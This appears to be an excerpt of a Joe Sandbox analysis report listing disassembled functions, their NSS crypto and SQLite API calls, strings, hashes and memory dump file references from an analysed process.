__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE3415F
__allrem.LIBCMT ref: 6CE3416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE34288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE342AB
__allrem.LIBCMT ref: 6CE342B7

Strings

%02d, xrefs: 6CE34086
%04d, xrefs: 6CE3407B
%03d, xrefs: 6CE342E8
%lld, xrefs: 6CE33FB2

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 4adc18c1ef3923d77d5451f3149f9c7b77485153a22a6702f422c31ecfc2bcc1
Instruction ID: 7805285b797512305caaba599096a4297c4ae763d98185516a29fe31c4c0c036
Opcode Fuzzy Hash: 4adc18c1ef3923d77d5451f3149f9c7b77485153a22a6702f422c31ecfc2bcc1
Instruction Fuzzy Hash: A7F12471A087409FD715CF38C841BABBBF6AF86308F648A1EE48997751E735E446CB42

Function 6CE3EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE3EF63

Part of subcall function 6CE487D0: PORT_NewArena_Util.NSS3(00000800,6CE3EF74,00000000), ref: 6CE487E8
Part of subcall function 6CE487D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CE3EF74,00000000), ref: 6CE487FD
Part of subcall function 6CE487D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE4884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CE3F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE3F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CE3F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CE3F374
PL_strcasecmp.NSS3(6CF82FD4,?), ref: 6CE3F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CE3F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE3F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE3F67D
CERT_DestroyName.NSS3(?), ref: 6CE3F68B

Part of subcall function 6CE48320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CE48338
Part of subcall function 6CE48320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE48364
Part of subcall function 6CE48320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CE4838E
Part of subcall function 6CE48320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE483A5
Part of subcall function 6CE48320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE483E3

Part of subcall function 6CE484C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CE484D9
Part of subcall function 6CE484C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE48528

Part of subcall function 6CE48900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CE3F599,?,00000000), ref: 6CE48955

Strings

*, xrefs: 6CE3F3C6
oid., xrefs: 6CE3F2CF
", xrefs: 6CE3F21B

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: e4a74ae6732b4e830bb53ed49661af688cc63c4bc8188fc7d36ec89f777ab65d
Instruction ID: 68a6f2d0c956213da98a19917c99b2f19db013c65d81e5f640b2414feb174104
Opcode Fuzzy Hash: e4a74ae6732b4e830bb53ed49661af688cc63c4bc8188fc7d36ec89f777ab65d
Instruction Fuzzy Hash: 5D2249716083618BD710CE18D49036AB7F6AB8531CF3856AEE49D87791E739AC06CB93

Function 6CDE1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CDE1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CDE1FB7

Strings

abort due to ROLLBACK, xrefs: 6CDE2223
attached databases must use the same text encoding as main database, xrefs: 6CDE20CA
no more rows available, xrefs: 6CDE2264
unknown error, xrefs: 6CDE2291
another row available, xrefs: 6CDE2287
table, xrefs: 6CDE1C8B
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CDE1F83
unsupported file format, xrefs: 6CDE2188
sqlite_master, xrefs: 6CDE1C61
sqlite_temp_master, xrefs: 6CDE1C5C

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 5e0109b646874019a02ec5ece8a441706b926a8817bd7e8f2585441ba509c7dc
Instruction ID: a2176e1546a53080bb2b9fc9f8f4a007449d09e9fecf15ff5ff4be7bb210c141
Opcode Fuzzy Hash: 5e0109b646874019a02ec5ece8a441706b926a8817bd7e8f2585441ba509c7dc
Instruction Fuzzy Hash: EB12CE70608342CFD715CF19C484A5AB7F2BF89318F19896DE8958BB62D731EC46CB92

Function 6CE05F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

-, xrefs: 6CE06228
sub-select returns %d columns - expected %d, xrefs: 6CE0805F
-, xrefs: 6CE062F9
2, xrefs: 6CE065B4
u, xrefs: 6CE081DA
BINARY, xrefs: 6CE08708, 6CE08737, 6CE087B8
ON clause references tables to its right, xrefs: 6CE06BEC
NOCASE, xrefs: 6CE08703

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 5e13d860f51d5e43393e447e1205df50c10505f68e4886c2f98031d5c1df4726
Instruction ID: b93777e7e9377d95c780068b361b0486d4548c78463623a4aa97b3bdc208688f
Opcode Fuzzy Hash: 5e13d860f51d5e43393e447e1205df50c10505f68e4886c2f98031d5c1df4726
Instruction Fuzzy Hash: 20435D747083418FD314CF18C490B1AB7F6BF89318F258A6DE8998B752D735E896CB92

Function 6CEAEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEAC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEADAE2,?), ref: 6CEAC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEAF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEAF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CEAF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEAF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CF7218C), ref: 6CEAF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CEAF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEAF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CEAF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CEAF210

Part of subcall function 6CE552D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CEAF1E9,?,00000000,?,?), ref: 6CE552F5
Part of subcall function 6CE552D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CE5530F
Part of subcall function 6CE552D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CE55326
Part of subcall function 6CE552D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CEAF1E9,?,00000000,?,?), ref: 6CE55340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEAF227

Part of subcall function 6CE9FAB0: free.MOZGLUE(?,-00000001,?,?,6CE3F673,00000000,00000000), ref: 6CE9FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CEAF23E

Part of subcall function 6CE9BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE4E708,00000000,00000000,00000004,00000000), ref: 6CE9BE6A
Part of subcall function 6CE9BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE504DC,?), ref: 6CE9BE7E
Part of subcall function 6CE9BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CE9BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEAF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CEAF3A8

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CEAF3B3

Part of subcall function 6CE52D20: PK11_DestroyObject.NSS3(?,?), ref: 6CE52D3C
Part of subcall function 6CE52D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE52D5F

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 3f8639db681c33df4e0dc6d12ef5a6bd712ba56c5da0439a9a513342193ac8d5
Instruction ID: 20b5f364510f7901c230cb3efb2cf921eff6ef18fd6d5de1590e6473de235abe
Opcode Fuzzy Hash: 3f8639db681c33df4e0dc6d12ef5a6bd712ba56c5da0439a9a513342193ac8d5
Instruction Fuzzy Hash: 4CD14FB6E016059FDB14CFE9D880A9EB7F5EF4830CF258129D915AB711EB35E80ACB50

Function 6CEDDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CEB7FFA,00000000,?,6CEE23B9,00000002,00000000,?,6CEB7FFA,00000002), ref: 6CEDDE33

Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF090AB
Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF090C9
Part of subcall function 6CF09090: EnterCriticalSection.KERNEL32 ref: 6CF090E5
Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF09116
Part of subcall function 6CF09090: LeaveCriticalSection.KERNEL32 ref: 6CF0913F

Part of subcall function 6CEDD000: PORT_ZAlloc_Util.NSS3(00000108,?,6CEDDE74,6CEB7FFA,00000002,?,?,?,?,?,00000000,6CEB7FFA,00000000,?,6CEE23B9,00000002), ref: 6CEDD008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CEB7FFA,00000000,?,6CEE23B9,00000002,00000000,?,6CEB7FFA,00000002), ref: 6CEDDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CEDDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEDE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEDE121
PK11_FreeSymKey.NSS3(?), ref: 6CEDE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CEDE195
PR_GetCurrentThread.NSS3 ref: 6CEDE1FC

Part of subcall function 6CED2460: PR_SetError.NSS3(FFFFE005,00000000,6CF77379,00000002,?), ref: 6CED2493

Strings

application data, xrefs: 6CEDDFE0
early application data, xrefs: 6CEDDFC9
key, xrefs: 6CEDE046
handshake data, xrefs: 6CEDDFF7

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 65deb3654a2ffa1922f63407cd00e973bbb014a9dea130d13437e35b7d715a5e
Instruction ID: 5a02a0e58caffc5a7b22b90fac2bac1d65465be6ea1f4ec1ffa8e92c62a257bf
Opcode Fuzzy Hash: 65deb3654a2ffa1922f63407cd00e973bbb014a9dea130d13437e35b7d715a5e
Instruction Fuzzy Hash: FDC12475B006159FDB04CF24CC84BAAB7B4FF09308F254129E9099BB91E331FA56CBA1

Function 6CDCECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDCED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDCEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDCEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CDCEF98

Strings

%s at line %d of [%.10s], xrefs: 6CDCF492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDCF483
database corruption, xrefs: 6CDCF48D

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 7612d30040139c383d766f3902f5982faee872612e83a0b0f6a1eef9c5940689
Instruction ID: 361bbaa10c5d6600187d04b35bd18ae75cb9c2ffab4b57d25e10b0c661c2bd21
Opcode Fuzzy Hash: 7612d30040139c383d766f3902f5982faee872612e83a0b0f6a1eef9c5940689
Instruction Fuzzy Hash: 46621170B04245CFDB04CF64C480BDABBB5BF45318F28819DD8565BBA2D735E886CB92

Function 6CE6FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CE6FD06

Part of subcall function 6CE6F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CE6F696
Part of subcall function 6CE6F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CE6F789
Part of subcall function 6CE6F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CE6F796
Part of subcall function 6CE6F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CE6F79F
Part of subcall function 6CE6F670: SECITEM_DupItem_Util.NSS3 ref: 6CE6F7F0

Part of subcall function 6CE93440: PK11_GetAllTokens.NSS3 ref: 6CE93481
Part of subcall function 6CE93440: PR_SetError.NSS3(00000000,00000000), ref: 6CE934A3
Part of subcall function 6CE93440: TlsGetValue.KERNEL32 ref: 6CE9352E
Part of subcall function 6CE93440: EnterCriticalSection.KERNEL32(?), ref: 6CE93542
Part of subcall function 6CE93440: PR_Unlock.NSS3(?), ref: 6CE9355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CE6FDAD

Part of subcall function 6CE9FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE49003,?), ref: 6CE9FD91
Part of subcall function 6CE9FD80: PORT_Alloc_Util.NSS3(A4686CEA,?), ref: 6CE9FDA2
Part of subcall function 6CE9FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEA,?,?), ref: 6CE9FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE6FE00

Part of subcall function 6CE9FD80: free.MOZGLUE(00000000,?,?), ref: 6CE9FDD1

Part of subcall function 6CE8E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE8E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE6FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CE6FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CE6FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE6FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE6FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CE6FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE6FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CE70007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CE70029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE70044

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: cf140a6182b29482b7ee6925e70192cf62528657193d73be40466c279f2d285d
Instruction ID: 255b540a0992a29d593a3409f36da57eceb2492296616384f4a374e9478cabc0
Opcode Fuzzy Hash: cf140a6182b29482b7ee6925e70192cf62528657193d73be40466c279f2d285d
Instruction Fuzzy Hash: 66B1C371604201AFE304CF29C841B6ABBF5FF88318F648A2DE99D87B41E774E944CB91

Function 6CE67D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CE67DDC

Part of subcall function 6CEA07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE48298,?,?,?,6CE3FCE5,?), ref: 6CEA07BF
Part of subcall function 6CEA07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEA07E6
Part of subcall function 6CEA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEA081B
Part of subcall function 6CEA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEA0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE67DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CE67F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CE67F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CE67F98
PK11_FreeSymKey.NSS3(?), ref: 6CE67FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE67FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CE68000

Part of subcall function 6CE89430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CE67F0C,?,00000000,00000000,00000000,?), ref: 6CE8943B
Part of subcall function 6CE89430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CE8946B
Part of subcall function 6CE89430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CE89546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE68110
PK11_FreeSymKey.NSS3(00000000), ref: 6CE6811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CE6822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE6823C

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 8aab8166c3fe11ea7452dfbfe208ce8f787a4cd1208e2ddd9141182edeaade41
Instruction ID: 44ad6651a63e1e3a11ff29932994b4af720a27f516f9042331ec78969255bc6d
Opcode Fuzzy Hash: 8aab8166c3fe11ea7452dfbfe208ce8f787a4cd1208e2ddd9141182edeaade41
Instruction Fuzzy Hash: 3EC192B1D502199FEB61CF15CC40FEAB7B8AF16308F1085E9E91DA6A41E7319E85CF90

Function 6CE70EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CE70F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE70FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CE71006
PK11_FreeSymKey.NSS3(?), ref: 6CE7101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE71033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE7103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CE71048
memcpy.VCRUNTIME140(?,?,?), ref: 6CE7108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE710BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CE710D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CE7112E

Part of subcall function 6CE71570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CE708C4,?,?), ref: 6CE715B8
Part of subcall function 6CE71570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CE708C4,?,?), ref: 6CE715C1
Part of subcall function 6CE71570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE7162E
Part of subcall function 6CE71570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE71637

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
